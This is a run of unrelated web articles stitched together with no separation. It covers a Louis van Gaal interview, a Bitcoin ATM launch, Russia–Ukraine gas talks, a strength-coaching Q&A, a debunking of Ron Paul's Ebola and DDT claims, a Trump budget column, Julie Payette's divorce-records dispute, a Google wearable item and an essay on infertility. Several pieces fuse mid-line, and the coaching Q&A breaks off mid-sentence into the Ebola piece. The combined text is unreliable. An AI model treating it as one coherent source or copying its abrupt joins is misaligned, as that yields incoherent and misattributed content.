Of course. Because when it is possible to buy for a reasonable price players from that level we shall do that because they can contribute that they are better. So I think with Schneiderlin, with Schweinsteiger, with Depay, with Darmian, we are better than last year. But we have to be much more better and then I say to you that is the creativity of my players in the front.
JOSE MOURINHO DISAGREED ABOUT THE PERFECT GAME…
Yes but that's provocation. And the winner is always right. It's easy to say afterwards.
DID YOU HAVE A CONVERSATION WITH JOSE AFTER THAT GAME?
After the games I have read that I'm drinking a glass of wine. Now I'm the guy who wants always to drink a glass of wine. And I only drink wine with the manager of West Bromwich Albion, he's a nice guy. And away from home – I think with just two times.
But it is difficult because we have to go to Manchester United TV, the press conference. There's a lot of people who want to do something with you as you don't have the time – it's mostly the assistants are always together and the managers much too busy.
Chelsea's players celebrate their win over Van Gaal's United which was controversial to the manager
ARE YOU ENJOYING THIS JOB AS MUCH AS IT SEEMS?
The first thing for a manager is always to know that the board is supporting him. That's the most important thing. And in this club that's unbelievable. Then we have the fans. And then we have the challenge and it is a big challenge. It's not so easy. I know that. The players know that, because that's also very important, but we believe in it.
And we have showed that a little bit again because Barcelona is fantastic team, although less without Neymar and Messi. You have seen also today it's not easy to play against that but we have shown that but it is pre-season, it doesn't say anything. We have to deliver at the moment that we have to compete with them. Maybe I hope in the champions league.
WHAT DOES IT TAKE TO BECOME A SUCCESSFUL LOUIS VAN GAAL PLAYER?
He has to know what he's doing as a player as a team player and when you are a Louis van Gaal player then you don't know only your function in your position but also the other functions in their positions and then you can help each other much more. Then you are improving always the team.
That's why you have to improve your vision not only in your position but you also have to know what the team needs. When you have seen today Barcelona - the pressing and how they expect where the pass is coming from - that's fantastic to see. That is it.
Chelsea manager Jose Mourinho embraced United boss Van Gaal tie at Old Trafford last season
CRISTIANO RONALDO HAS STAR APPEAL. DO YOU EVER SEE HIM COMING BACK TO OLD TRAFFORD?
He may come but it is not possible.
UNITED FANS WOULD LOVE IT. WHAT ABOUT YOU?
Yeah, of course. But that's not possible.
WHY NOT?
Because you have the club, Ronaldo and then you have Manchester United and how much Manchester United want to spend.
Cristiano Ronaldo gives a thumbs up during Real Madrid's open training session in China on SundayLamassu Bitcoin ATM incoming despite regulatory road bumps
A Bitcoin ATM capable of gobbling up currency from over 200 countries and converting it instantly to the virtual currency is expected to hit the public this quarter, potentially shifting Bitcoins themselves into the mainstream. The machine, made by Lamassu, can switch physical to digital cash in fifteen seconds, the manufacturer claims, simply scanning in a QR code linked to a Bitcoin account and then sucking in a bill to add to it.
An exact indication of how many Bitcoins the cash will get you is flashed up on the display before the transaction is completed. In the case of the video below, showing the Lamassu machine in action at Bitcoin 2013, that’s in US dollars. Lamassu says it will work with the Mt.Gox and Bitstamp exchanges, among others.
As for the physical money – which, despite Bitcoin’s best efforts, still has appeal to some people – that’s stored safely away in a “steel vault” inside, bolted to whatever solid chunk of masonry is nearby. The overall ATM is sized to fit on a table-top, though can also be wall-mounted.
Lamassu says that, since it first unveiled the ATM, its had inquiries about potential deployment from potential customers in China, Canada, Libya, Cyprus, Kenya, Israel, the United Kingdom, Australia, Denmark, and Switzerland. The machine is expected to go into production this quarter, though it’s unclear how quickly it will actually show up in public.
Bitcoins are gaining notoriety, though mainstream awareness of the virtual currency is still lacking. Machines like the Lamassu ATM could well help raise its profile – and its perceived legitimacy – though regulators are still distrustful.
In fact, as the Bitcoin Foundation noted back in March, the US Financial Crimes Enforcement Network (FinCEN) has cooked up tough regulations around ATM-style machines that convert traditional currency and Bitcoins. As Lamassu founder Zach Harvey told Wired UK at the time, “it’s pretty much impossible to comply with the regulations” pointing out that instead of trying to operate the machine itself, he would sell it to others who might fare better with the rules.
VIA CoinDeskImage copyright AFP Image caption The European Commission said a deal could take days
Russia's President Vladimir Putin has said a gas price discount deal offered to Ukraine was designed to help its economy.
After another round of negotiations, Ukraine rejected the price deal, saying it "won't fall into Russian gas trap".
But Mr Putin said on Wednesday that the offer was "to support the Ukrainian economy at a rather difficult time''.
The two sides have been locked in talks after Russia withdrew a deal to subsidise gas exports to Ukraine.
On Wednesday, Russia offered a discount of $100 for every 1,000 cubic metres of gas exported to Ukraine.
Deadline
But Ukraine's Prime Minister Arseniy Yatsenyuk said it was "a trap". Ukraine wants a new gas deal based on "a contract, rather than on the basis of whether Russia likes the Ukrainian government or not", he said
Speaking in Moscow later on Wednesday, Mr Putin said: "We believe that our offer is more than in a partnership spirit, aimed to support the Ukrainian economy at a rather difficult time.
"But if our offers are rejected it means we will enter another stage. This is not our choice. We do not want it."
The European Union-brokered talks in Brussels come after Russia threatened to turn off the gas taps to Ukraine if Kiev did not pay for past deliveries.
However, Russia's deadline for payment has been repeatedly pushed back after Ukraine paid off part of the sum.
'Movement'
Before the export subsidy was cancelled, Ukraine's gas bill was heavily discounted by Russia at $268 per 1,000 cubic metres.
After the discount was withdrawn, the price went back up to $485.50 per 1,000 cubic metres, the highest in Europe.
Despite the sharp disagreements, EU Energy Commissioner Guenther Oettinger, who is involved in the talks in Brussels, said he hoped the two sides would make progress in the next 48 hours.
"I can see movement on both sides, and both sides will need to continue to move,'' he told reporters.Sports Science Q&A’s with Dr.Davidson – Volume 2 – Analytics By Sam Leahey By
Last time we discussed a bit about sports science in general. Let’s go deeper. Many public and private sector organizations have been, or are delving now, into higher levels of technology and deeper levels and data analysis for player monitoring, program design purposes, etc. to the point where now many organizations hire a staff person who does nothing but data analytics for the coaching staff and trainers.
1. Generally speaking, what role do you think technology and data analytics play in our jobs as trainers/coaches and for the sport/skill coaches?
In the first installment of my answers to your questions, I stated that sports science is grounded in the empirical method, and the empirical method is walled in a quantitative paradigm. The end stage of the empirical method is making evaluative statements about observed and measured phenomena. These evaluative statements are based on comparison to norm and criterion referenced perspectives. Ultimately this means that our ability to make any type of declarative statement about the merit of something is entirely based on comparing numbers.
This quantitative paradigm is only as strong as our ability to make accurate, reliable, and precise measurements. Advances in technology provide coaches and scientists with better tools to measure phenomena. The better the tool with which you are using to make measurements, the more trustworthy the data. Testing environments where coaches, trainers, or scientists consistently make accurate measurements on relevant bio and performance markers ultimately leads to a situation where coaches, trainers, and scientists have a clearer picture of what is going on, and the ability to appraise, formulate conclusions, and decide on future courses of action for the athlete are improved.
What we must remember is that the ultimate goal of the coach, trainer, or scientist is to be the best possible informed decision maker for the individuals they are working with. An informed decision maker tends to choose courses of action that lead to success more often than decision makers who make choices based on whims. This is true whether we are talking about an informed decision maker who watches the weather forecast the night before and brings his/her umbrella with them on their morning commute vs. the whimsical decision maker who is clad in flip flops and a tank top for the day, or sports performance coaches who test the movement qualities and capacities of their athletes prior to designing a training plan vs. a trainer who puts every person they work with into a generalized training plan. If the goal is to increase the movement qualities, capacities, and sports skill of an athlete, then the informed decision maker coach, trainer, or scientist will utilize every tool that will help him or her gain a clearer picture of the current state of the athlete in question. The informed decision maker will reduce the chances of injuring or not improving the performance of the athlete in the short term and long term training plan.
Technological advances in the equipment used to measure the performance of athletes in specific tests can be very helpful; however, what we must keep in mind is that tests are only tools used for the purpose of measuring something. Every tradesman or craftsman has a tool box. Each craftsman’s toolbox contains the tools best suited for the jobs that individual is likely to have to perform on a daily basis. Often times these tools are simple. Fancier tools do not necessarily need to be utilized. Hammers, screw drivers, and wrenches have been around for a long time, and a good craftsman is able to utilize these devices with incredible precision, accuracy, and usefulness. The best tools are those which are efficient, easy to use, and give the individual wielding them the results they were hoping for. In the modern world of sports science, the technological advances have in many cases bogged practitioners down with excess data. Perhaps the potential for discovering something previously unknown in this data exists; however, the route to getting to this information is often convoluted, lengthy, and one that can sometimes be a greater hassle than was truly necessary.
Technology is certainly not going anywhere. Generally speaking, technological advancements have ushered in some unbelievably useful things. Accountability and informed decision making has improved, and new discoveries will continue to be made which will reshape what we know about the exercising human body. Coaches, trainers, and scientists should utilize technology to the best of their abilities. In doing so though, they should keep the following in mind: 1. Know exactly what it is that you want to measure 2. Know what the right tool is for the job 3. Be able to compare the collected data to something 4. Interpret the findings carefully 5. Continue to master this process.
2. Do you do anything with training quantification?
I coach athletes who train and compete with Springfield College Team Ironsports. We are the only mixed resistance training college team in the country as far as I know. We have strongman athletes, bodybuilders, powerlifters, crossfitters, and a Highland Games athlete in our mix. My main focus is on the strongman athletes because they make up the majority of our team, particularly from a competitive standpoint. The common denominator that brings all of my athletes together is iron, and the metric that is most important is load. Now that being said, I am tremendously concerned with the movement quality of the athletes on the team. Based on this concern, if we find that certain exercises are causing problems and leading to regression of FMS scores or pain, then we delete those exercises from the athletes’ playbook.
Our team trains at different facilities, but the primary facility that we train in is a collegiate weightroom. We do not have access to strongman equipment in this weightroom. Due to the lack of contest equipment, I have to use other training lifts as indicators of training status. The four lifts that I have chosen to be our cornerstone/indicator lifts are the deadlift, the push press, the single leg contralateral loaded deadlift, and the dumbbell clean and jerk. I believe that these are the four lifts that are closest in terms of specificity to the demands faced in strongman.
My methodology for monitoring performance in these four lifts is something that many may find unusual. On training day A, our athletes pair the deadlift with the dumbbell clean and jerk. I like this pairing because you have a slow bilateral pull and a fast unilateral push involved in the same training session, which I view as juxtaposing one another and creating balanced development. On training day B, our athletes pair the barbell push press with the contralateral loaded single leg deadlift…again, similar juxtaposition of movement and velocities. We perform training day A and B twice a week. In every training session for A and B, the athletes begin their resistance training session by performing a 1RM test for both lifts. I ask the athletes to not tap into emotional arousal for any of their test sets, and I ask them to try to find their max within a maximal of 4 sets. The athletes have become extremely adept at this process by now, and most of them find their daily 1RM within about six or seven minutes for both lifts.
So, yes, I ask all the athletes on my team, including myself to hit 8 maxes a week on four pretty big lifts. Why would anyone do this? Doesn’t this cause CNS burnout? Well I don’t really know what CNS burnout is, but I do know that the Bulgarian weightlifting team maxed the snatch and the clean and jerk six days a week all year. I do this for two reasons. First, I want the athletes to build the skill of performing 1 rep max movements. If you do not believe there is skill to this, then you have never competed in a strength sport. I want them to develop this skill in an emotion free environment. The athletes understand what this means. It means no yelling, no slapping each other on the back of the head, no pacing around and snorting like a bull, no shaking the bar. You walk up to the weight like a professional, execute the technique with no expectations, and accept the result whether positive or negative. Second, I want the training percentages for the athlete to be as precise as possible. 6 sets of 3 @ 88% of what?…of what you were able to handle today in a controlled environment. In my mind this ensures the proper stimulus for the goal of the training session within the phase of the training plan. From what I have seen, strength gains are fairly unpredictable, but when they happen, they are often substantial. This is fairly obvious when thinking about 18 year old freshmen, who seem to increase strength session to session, but from my experience this is true for my seasoned lifters as well, and some of these young men are deadlifting in the mid 600’s to mid 700’s (belts and straps usually) with no lifter at a body weight higher than 240 pounds.
3. What metrics do you think are significant in indicating fatigue?
In terms of what I believe good indicators of fatigue are, I will answer from a theoretical basis and from what I do on a practical basis. Clearly, measuring heart rate variability with the Omega Wave is the gold standard for assessing preparedness. Heart rate variability is indicative of the status of the supersystem in the brain that assesses the total stress load imposed on the organism. The supersystem is primarily made up by the ventromedial prefrontal cortex, the amygdala, and the medulla. When this trio of structures in the brain interprets the inner and outer world as one that the organism is in control of, then in general, HRV stays high. When the environment is perceived as one that is unfamiliar to the organism or one that is highly unpredictable or out of control, HRV ultimately will measure as being low. Low HRV is associated with an increased likelihood of sickness, decreased performance, and increased risk of injury during training or competition.
I do not have access to any device that can measure HRV currently. This does not mean that I cannot take advantage of the underlying concept that governs HRV though. Ultimately, the most important variable related to increasing HRV is the feeling of being in control of one’s self and one’s environment. What increases feelings of control? Awareness appears to be the key. How clear do you understand what is happening around you or inside of you? In truth, knowledge is power when it comes to HRV. How well does the athlete understand the technicalities and the tactics that are associated with the movements that you are asking them to do? Do they know what the purpose of the program design is? Do they know the length of the phase they are in? Do they recognize that the changes and fatigue in their body near the end of a phase are normal?
Based on this knowledge, the most important thing that I do with my athletes to monitor their fatigue is talk to them. I have lunch with my athletes every weekday at school. We talk before and after training sessions. Many of them I teach in the classroom as well. In short, I spend as much time with my athletes as I possibly can. I end up knowing them very well as people. I can look at them and see as much information as any device could ever give me. Would this work in every coaching situation? No, as it would not be feasible in certain situations. If you have hundreds of athletes then you simply cannot get enough interaction with them to gain such familiarity. In such a circumstance, a paper and pencil survey may be a great idea. From what I understand, psychological mood state is one of the earliest markers that athletes are heading towards overtraining conditions. Athletes whose mood state falls within what sports psychologists call the Iceberg profile appear to be fresh and in a good place with their training status. Athletes who display the Inverted Iceberg profile are likely moving towards overtraining.
In closing, I will say that I have had very poor success in trying to assess preparedness with performance measures. Trying to gauge levels of fatigue with 1RM testing has proven fruitless. From my experience, it is nearly impossible to kill the 1RM no matter what you do to someone. I have also not found jump tests to be tremendous indicators of training readiness for the day either. I would recommend that coaches and trainers be very careful in making major alterations in the design of a training day based on jump height or 1RM testing results.
4. More importantly, what metrics do you think are significant indicators of adaptations to training?
This question is difficult to answer because it does not include a specific type of athlete or sport; however, I believe that I can still answer this effectively. I will start by talking about the athletes who I coach, and I will end by talking about athletes involved in more common field and court sports. Prior to answering, I would like to point out that I think this is an excellent question thematically, because I do view the purpose of training as a process of trying to stimulate the appropriate adaptation in the athlete for the specific demands the athlete has to face in competition.
The sport of strongman is a weight class based sport. I do not coach any athletes who are heavy weights, so tracking body weight is critical simply because the athletes cannot afford to not make weight for the contest. Based on this, the most important indicator that a positive training adaptation has occurred is increased strength in competition performances and the four cornerstone training lifts previously described without significant increases in body weight.
In this paragraph I am going to say something that may initially appear to be contradictory to the last sentence of the previous paragraph; however, I hope that I can adequately explain my views so that I can shed light on something that I believe to be critical. During specific phases of training, the marker that I am hoping to see is a drop off in performance. Again, I am examining the 1RM in the deadlift, push press, contralateral loaded single leg deadlift, and the dumbbell clean and jerk. When my athletes are engaged in a concentrated loading block, at some point, perhaps at the end of week two or three, I am hoping to see their numbers start to decline. I base this view on my interpretation of Zatsiorsky’s Fitness-Fatigue theory.
Zatsiorsky has proposed a two factor model of adaptation that appears to be a more complete explanation of what happens to the human organism during training compared to the single factor supercompensation model. We typically only think of training adaptations according to the idea that the athlete trains and depletes the systems of their body, and then after recovery, a new higher level of homeostasis is reached. If the athlete conducts the next training session while at this new higher level of homeostasis then they will display increased abilities. Based on this model, coaches believe that if the athlete cannot outperform or at least match their previous training session’s numbers, then the program design is incorrect. In contrast, Zatsiorsky has proposed that the instantaneous ability of the athlete to display ability (preparedness) is based on the net of their fitness and fatigue. Fitness is the true underlying capacity of the athlete within a specific realm (limit strength fitness, speed-strength fitness, power endurance fitness, etc.). Fatigue is the degree to which training induced stress masks the ability to display fitness. The greater the fatigue, the greater the inability to display fitness; however, this does not mean that fitness is gone, or that fitness was not improved in a training session that appeared sub-par. Also, based on this model, the greater the increase in fatigue from training stress, ultimately the greater the potential to increase fitness once the fatigue is removed from the picture.
Based on my interpretation of the Zatsiorsky Fitness-Fatigue model, I want to see fatigue mount to high levels at various times of the training process. If I am truly driving what will result in a positive adaptation, I need to see decline first. This process appears to be intimately tied into the endocrine system’s function in the human body. The role of the endocrine system within the organism is to respond to deviations in homeostasis. The stress of exercise causes deviations in homeostasis. The training principle of overload is also intimately tied into this concept as well. According to the |
warns. Fair enough.
So Paul proposes his own "viable alternative for treatment": the controversial insecticide dichlorodiphenyltrichloroethane, more commonly known as DDT, regarded as a legitimate means of controlling mosquito-born diseases such as malaria. But for decades there’s also been a heated debate over just how bad DDT is for humans and the environment, sparked by the 1962 publication of Rachel Carson’s Silent Spring. The U.S. banned DDT for agricultural use in 1972; in 2004, the Stockholm Convention restricted its use to disease control.
Dr. Paul pooh-poohs such science. "The absolute proof of the danger of DDT was never — as far as I’m concerned — proven," the father of Sen. Rand Paul says. Instead, our treatment of choice for Ebola is "very expensive organic phosphates," that kill people, he claims. "If DDT isn’t quite as dangerous as they said, and if you could save a million people from this illness … then we could think about it." Paul has a theory for why the global health community would be pushing these organic phosphates. "Could there be a possibility … there’s a profit in this[?] Maybe that is the reason that we end up doing this."
How do Paul’s Ebola claims stack up to Ebola science?
"As far as I can make out he’s wrong about everything," Fordham University’s Dr. Alexander van Tulleken told Foreign Policy. No licensed or approved treatment for Ebola exists. Yes, the experimental ZMapp drug seems to have effectively treated two American aid workers transported from Liberia to Atlanta, and more such untested drugs are in development. But those patients have also benefited from expert care, van Tulleken notes, so the jury’s still out. "The only treatments for Ebola really are supportive care" such as ventilation to support lung failure, dialysis for kidney failure or fluid replacement via IV.
As for Paul’s claims about DDT and organic phosphates, neither is an actual treatment nor control mechanism for Ebola. While some in the public health community view DDT as a legitimate solution for slowing malaria, there’s no science that says it would cure or control Ebola.
"What Ron Paul has done is confuse Ebola with malaria," van Tulleken says. "If you hose DDT around, you get rid of the mosquitoes, and maybe get rid of malaria. But Ebola is transmitted by bodily fluid. He’s really fucked it up."
Organo-phosphates — the actual term — can be very toxic and are used to kill insects and weeds and as poisons. But there are no known organo-phosphate drugs for fighting Ebola, as Paul alleged.
Paul’s implication that a nefarious medical-industrial plutocratic cabal is pushing an organo-phosphate cure to profit from Ebola doesn’t withstand scrutiny. "The reason we have no treatment for this virus and no vaccine is there’s absolutely no money to be made at all," van Tulleken says, affirming what the World Health Organization decried and journalists reported this week. It’s a disease that kills poor, non-white people, after all. So far, the current outbreak has killed approximately a thousand people. "If you were to compare that to malaria, malaria has killed more people than anything else in human history. And even malaria, we don’t care about that much…. If there was a profit motive, like there is in treating heartburn, baldness, erectile dysfunction, we’d have a drug."
So instead it’s left to that other Paulian bogeyman to tackle the gravest public-health threats: the federal government. Indeed, much of the funding for the now-expedited development of experimental vaccines such as ZMapp is coming from the National Health Institutes and Defense Department. That’s not the most reassuring news to people wary of government intrusion like Ron Paul.
Fellow physician, political figure, government skeptic, presidential aspirant, and son of Paul, Sen. Rand Paul (an opthamologist and not a general physician like his father, so no expert on Ebola), has not yet commented on his father’s remarks. If he does, we’ll update accordingly.
Meanwhile, also on Thursday: "out of an abundance of caution" surrounding the Ebola outbreak, the State Department also ordered all eligible family members to evacuate the U.S. Embassy in Freetown, Sierra Leone. Cure or no cure, the situation grows more dire by the day.Can America be great and mean to its most vulnerable at the same time?
This is a philosophical question whose answer has changed over the course of this century. In the race to alleviate the suffering of the largest taxpayers, politicians have pledged to protect the most vulnerable. It would have been political suicide to do otherwise.
That is no longer the case; quite the opposite, actually.
This is a seismic political shift lost in the drama and theater of daily political news.
But President Donald Trump’s budget, to be officially unveiled today, is a statement of who we are. We are not who we once were.
The budget targets the very people who helped power Trump’s ascension to the White House: “economically strained voters,” the New York Times says.
Over the next decade, it calls for slashing more than $800 billion from Medicaid, the federal health program for the poor, while slicing $192 billion from nutritional assistance and $272 billion over all from welfare programs. And domestic programs outside of military and homeland security whose budgets are determined annually by Congress would also take a hit, their funding falling by $57 billion, or 10.6 percent. The plan would cut by more than $72 billion the disability benefits upon which millions of Americans rely. It would eliminate loan programs that subsidize college education for the poor and those who take jobs in government or nonprofit organizations.
The unhealthy, the poor, the young crushed by student loan debt. These are today’s vulnerable.
Like most presidential budgets, this one is dead on arrival from a practical point of view; Congress will substitute its own approach. But it is a declaration of how an administration views the world and the future.
“Meals on Wheels, even for some of us who are considered to be fiscal hawks, may be a bridge too far,” said Rep. Mark Meadows, R-NC, and the chairman of the conservative House Freedom Caucus.
“The politics of this make no sense to me whatsoever, in the sense that the population that brought them to the dance are the populists out there in the Midwest and South who rely on these programs that he’s talking about reducing,” G. William Hoagland, a former senior Republican congressional budget aide, tells the Times.
“I’m deeply concerned about the severity of the domestic cuts,” Rep. Hal Rogers, R-Ky., a long-time member of the powerful House Appropriations Committee, told Politico.
Slate’s Jordan Weissmann says the budget blueprint gives House Speaker Paul Ryan “permission to cut away.”
Even if the whole package probably isn’t going to become a reality, it’s still a sign that he won’t stop Republicans enacting whatever rash part of their agenda they manage to legislate. And while they may be more hesitant to pass dramatic cuts to some programs now that they’re actually in power and liable to suffer the electoral consequences — many come from farm states that tend to like food stamp spending, for instance — the GOP now has an empty suit in the oval office who’s apparently willing to bring their most extreme ideas to life. He might not even bother to read them first.
“They have not come down like we would expect them to do,” Trump’s budget director said of the 44 million Americans on food stamps. “That raises a very valid question: Are there folks on SNAP who shouldn’t be?”
It’s a valid question that should be answered before issuing a budget that assumes the answer is “yes.”
The Washington Post’s Wonkblog today could help.
Anti-hunger advocates argue that, generally speaking, there are not. Because SNAP benefits decrease gradually with increased income, there is no incentive for people to avoid work to get benefits — a phenomenon economists call the “welfare cliff.” And benefits are too small for people to subsist on them without working: The average food stamp benefit was $465 a month for a family of four in 2015. Most people are on the program for between seven and nine months on average. “The notion that people would prefer not to work to get that benefit, give me a break,” said U.S. Representative Jim McGovern, (D-Mass.) a longtime anti-hunger advocate. “This is a lousy and rotten thing to do to poor people. They look at SNAP as an ATM to pay for their other priorities.” Additionally, three quarters of households using SNAP contain children, seniors, or people with disabilities, said Elaine Waxman, a senior fellow in the Income and Benefits Policy Center at the Urban Institute. Without SNAP, the country would have had 3 to 4.5 million more people in poverty during the recession, she said. More than a quarter of able-bodied adults without dependents on SNAP do not have a high school diploma, Waxman said; another 57 percent don’t have college degrees — putting them at a disadvantage when it comes to finding work. A number are also veterans, young adults aging out of the foster care system, and felons recently released from jail. SNAP recipients who cannot find work, for these or other reasons, are supposed to attend job training programs — but they’re not widely available because of lack of funding. “This is the trick. On the one hand, you want people to do something, when in fact a lot of folks may not realistically be able to find a job,” Waxman said. “Most states don’t want to put the money in. This is a dilemma that we’re in.”
The budget is a declaration of who we are and who we want to be. Maybe that’s the conversation we should start with. Who are we?
Related work: Staff report: Mpls. minimum wage should make no exception for tipped workers (Star Tribune)Canada’s governor general designate, Julie Payette, has dropped her opposition to a group of major media outlets seeking access to recently sealed divorce records in a Maryland court. The media group, including the Toronto Star and CTV, went to court last month in the hope that the divorce records would shed light on Payette’s 2011 arrest on charges of assault against her then husband, Billie Flynn. The charges were withdrawn and those records, including a police report, were destroyed by court order, according to court officials.
Governor general designate Julie Payette had said she was fighting the release of U.S. divorce records to protect the privacy of her son. Media companies, including the Star, made it clear they had no interest in publishing details involving the child. On Monday, Payette said that in the interest of "transparency," she was dropping her bid to keep the records sealed. ( FRED CHARTRAND / THE CANADIAN PRESS FILE PHOTO ) The Maryland home purchased in 2010 by Julie Payette and her then husband, Billie Flynn. The house is now owned by Flynn. ( Kevin Donovan / Toronto Star )
A Maryland judge recently ruled that the divorce records Payette had sealed in July when reporters started asking questions should be public. Payette appealed, pending a mid-November hearing. She takes up her post as governor general in early October. Read more: Future Governor General Julie Payette involved in fatal collision months before assault charge in Maryland
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Julie Payette controversy a lesson on power of digital memory: Delacourt Trust the public with full story on Julie Payette: Editorial On Monday afternoon, Payette issued a statement saying that she had decided to drop her appeal, paving the way for the court records to be released in the coming days. “Not wishing my family to revisit the difficult moments we have been through, it was my hope that our privacy would be preserved,” Payette wrote. “That is why I initially sought to keep our divorce proceedings under seal.” Read the full text of Julie Payette’s statement below
Payette, in her statement, said it was out of concern for her son’s privacy that she initially wanted the records sealed. “In the past I have been blessed with opportunities few dream of,” said Payette, a former astronaut. “But of all the blessings I am grateful for, the most important blessing in my life is my son.”
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From the outset, the media group made it clear it was not interested in matters relating to the couple’s child. “The Star is seeking access to the court documents to determine if there is something in them of public interest in regards to Canada’s next governor general,” said Star editor Michael Cooke. “The Star has no interest in publishing private details of a child in this case. That was made very clear by the media’s lawyer in the hearing.” Payette said Monday that “for reasons of transparency and to leave no doubt,” she said she has agreed to drop her appeal. Other media outlets involved in the challenge include the Globe and Mail, CBC, iPolitics and the National Post. Prime Minister Justin Trudeau announced in early July that Payette, a former Canadian astronaut, would be Canada’s next governor general, starting in October. The legal saga that has played out quietly in a Maryland courthouse for the past month began when political website iPolitics uncovered existence of Payette’s expunged assault charge by doing a routine search using an online record check service. Though official documents and transcripts were ordered destroyed by the court at Payette’s request in 2011, an electronic ghost of the charge remained. That sent the Star to Maryland looking for information that would shed light on the matter. The St. Mary’s County courthouse in Leonardtown, a small county seat, is an hour’s drive from where Payette and Flynn lived together for several years on the shore of a sprawling river. Chesapeake Bay is nearby. Flynn still lives there occasionally. Something happened on Nov. 24, 2011, that brought sheriff’s deputies to the house the couple purchased the previous year. Who called police and why has never been made public. Only Payette was charged. The sheriff’s department and state’s attorney say they are not allowed to discuss the case, since a court expunged the records at the request of Payette two weeks later, on Dec. 8, 2011. Her lawyer at the time, Dan Slade, told the Star that the charges had “absolutely no merit” but he would not provide details. The state’s attorney who agreed to the expungement order also would not discuss the matter. With Payette and Flynn not talking, the media group turned to the Maryland courts to see if divorce files contained any references to the expunged case. Payette went to court to have the divorce records sealed on an emergency basis on July 18, the day iPolitics broke the story.
The media outlets joined together and hired a U.S. lawyer, arguing that given the importance of the role of governor general, the public should have access to records related to her past activities. In their challenge, the media group’s lawyer, Seth Berlin of Washington-based firm Levine Sullivan, said that in the United States under the First Amendment, and in Maryland under the Declaration of Rights, the “press and the public have a constitutional right to observe court proceedings and to access judicial records and documents.” When Payette filed for the sealing order, she stated in an affidavit that she wanted to protect the couple’s son, and herself. She stated that she has “reason to believe that (the media) may be trying to expose facts of this case to people in Canada in an attempt to publicly ridicule me and I believe these actions will cause irrevocable harm to not only myself but my son.” Judge David Densford of the Circuit Court for St. Mary’s County agreed with the media group, ruling that in Maryland court files are “presumed to be open to the public for inspection.” He ordered the files opened, pending appeal, except for specific sections that dealt with the couple’s son. A spokesperson for the Governor General’s Office told the Star that Payette was personally paying for the legal challenge. Payette’s former husband, Flynn, is a test pilot for Lockheed Martin and the F-35 jet. Previously, as a lieutenant-colonel in the Royal Canadian Air Force, he flew 25 combat missions over Kosovo and the former Republic of Yugoslavia. At the time of the 2011 incident, Payette had left the astronaut program and was in Washington at the Woodrow Wilson International Center for Scholars. The couple both travelled extensively. When they purchased the Maryland house in 2010, Flynn was out of town and he gave his power of attorney to Payette to effect the purchase, paying $616,000 (U.S.) for the remote, 4,000-square-foot house and property, records show. The Star earlier reported that a couple of months before the 2011 assault charge, Payette struck and killed a pedestrian while returning home from a trip. Police records show that after an extensive investigation, it was determined to be an accident, something the victim’s sister has told the Star she agrees with.
Justin Trudeau was questioned Wednesday about a dismissed second-degree assault charge against his choice for governor general. The prime minister says Julie Payette represents the?very best of Canadian values.? (The Canadian Press)
Flynn and Payette’s marriage broke down over the next year and Flynn filed for separation in 2013. Payette followed up by filing for divorce and the case wound its way through court over the next two years. During this time, the case was public, including all testimony and documents. Ultimately, it was resolved, just before Payette was appointed governor general. Full text of Julie Payette’s statement to the media group: In the past, I have been blessed with opportunities few dream of. I have had the good fortune to work on exceptional science projects, to fly in international spaceships and to see our magnificent blue planet from orbit. But of all the blessings I am grateful for, the most important blessing in my life is my son. Given recent media interest regarding my private life, I wish to share the following thoughts. While I understand and appreciate the role of media in reporting on past events in the lives of Canadians in the public eye, as a mother, I need to be mindful of the impact on my family. Very few families are immune from difficult moments in life – mine included. Divorces are about fractured relationships and often, a sad parting of ways. This is particularly difficult when children are involved, thus the importance of protecting the ones we love and care about. Like many parents in the same situation, I have worked hard to put these difficult events behind me and move on with the best interest of my son in mind. Not wishing my family to revisit the difficult moments we have been through, it was my hope that our privacy would be preserved. That is why I initially sought to keep our divorce proceedings under seal in the US, consistent with the legal principles in the province of Quebec and in Canada that govern matrimonial and family matters. Though a Maryland court was currently considering an appeal to maintain our family’s privacy, for reasons of transparency and to leave no doubt, I have decided to voluntarily drop this appeal and release the divorce files. I trust Canadians and media will distinguish between matters of public interest and private life. As I move forward, it is my son I think of first. His relationship with both his parents is paramount and this is what I will continue to safeguard. I am deeply honoured to have been given the privilege of serving my country again and I look forward to contributing with all my energy and dedication to the advancement of a knowledge-based society that is open, tolerant, pragmatic and generous. Kevin Donovan can be reached at kdonovan@thestar.ca or 416-312-3503.
Read more about:So much for the screen. We’ve learned that Google's revamped Google Glass project, dubbed Project Aura, is working on a wearable with a screen—and at least one without.
People tell us there have been three versions of the head-mounted device in development, although the three may be consolidated into two. One version, targeted at enterprises, has a screen. The others, one of which is targeted at "sport" users, doesn't and relies on audio. They use bone conduction, like the original Google Glass. In other words, headphones worn on your face.
Project Aura overseer Tony Fadell experimented with head-mounted designs at Apple eons ago, which is probably one reason he’s running the project. We hear the team, which includes audio experts hired from Amazon.com, is still targeting next year for release.Most days I don’t exactly feel like one of the most fortunate woman on the planet. I have chronic back pain from four hideous car accidents, I am totally dependent on prescription medication and I feel physically weak and pretty useless a lot of the time.
But worse than all this crap, is the fact that I am infertile.
You know, even fourteen years after that diagnosis, it is still hard for me to state that so absolutely. “I am infertile.” I can’t even say it out loud with ease.
But, thanks to the hard work and ingenuity of incredibly intelligent and talented, scientists and doctors, and the wonder that is modern medical science and IVF, and in spite of my five terrible miscarriages, and against all the odds – I have a beautiful son, who is the love of my life and in so many ways has become my raison d’être. I know I am one of the lucky ones. There are so many women who suffer from infertility who do not manage to have a child, whether that be because assisted reproductive treatments did not work for them – or even worse – because their situations mean they don’t have access to, or can’t afford to pursue, the assistance that could help them fulfil their dreams of having children of their own.
Mother’s Day has become a day where I mostly prefer to celebrate my own mother, rather than my own motherhood… because my own state of motherhood, while miraculous, is also tinged with so much sadness. A sadness that quietly grieves the babies that I lost – particularly the first miscarriage when I was only 20, which I was told could have been my son; and the third miscarriage after years of IVF, which pathology relayed would have been my daughter. It is also a sadness that laments the babies I never managed to nurture – the over 60 embryos that have been transferred back to my traitorous body, but which never successfully implanted and never grew into babies – over six years, of so many failed IVF cycles, as I desperately tried to have a second child… a sibling for my son and another joy for our lives. So much loss. So much heartache. So much sadness.
Mother’s Day also makes me sad when I think about other friends who I know share my pain. Women who are infertile, too. Women who have miscarried, too. Women who have deep biological desires, but who are thwarted by the fates, too. Women who want to have children, whether their first child or second child or more, but for whatever reason they can’t achieve the families they desire. It is a uniquely soul crushing sadness that I would not wish on anyone… Mother’s Day probably produces mixed emotions for all these women too. I love you all and am thinking of you today.
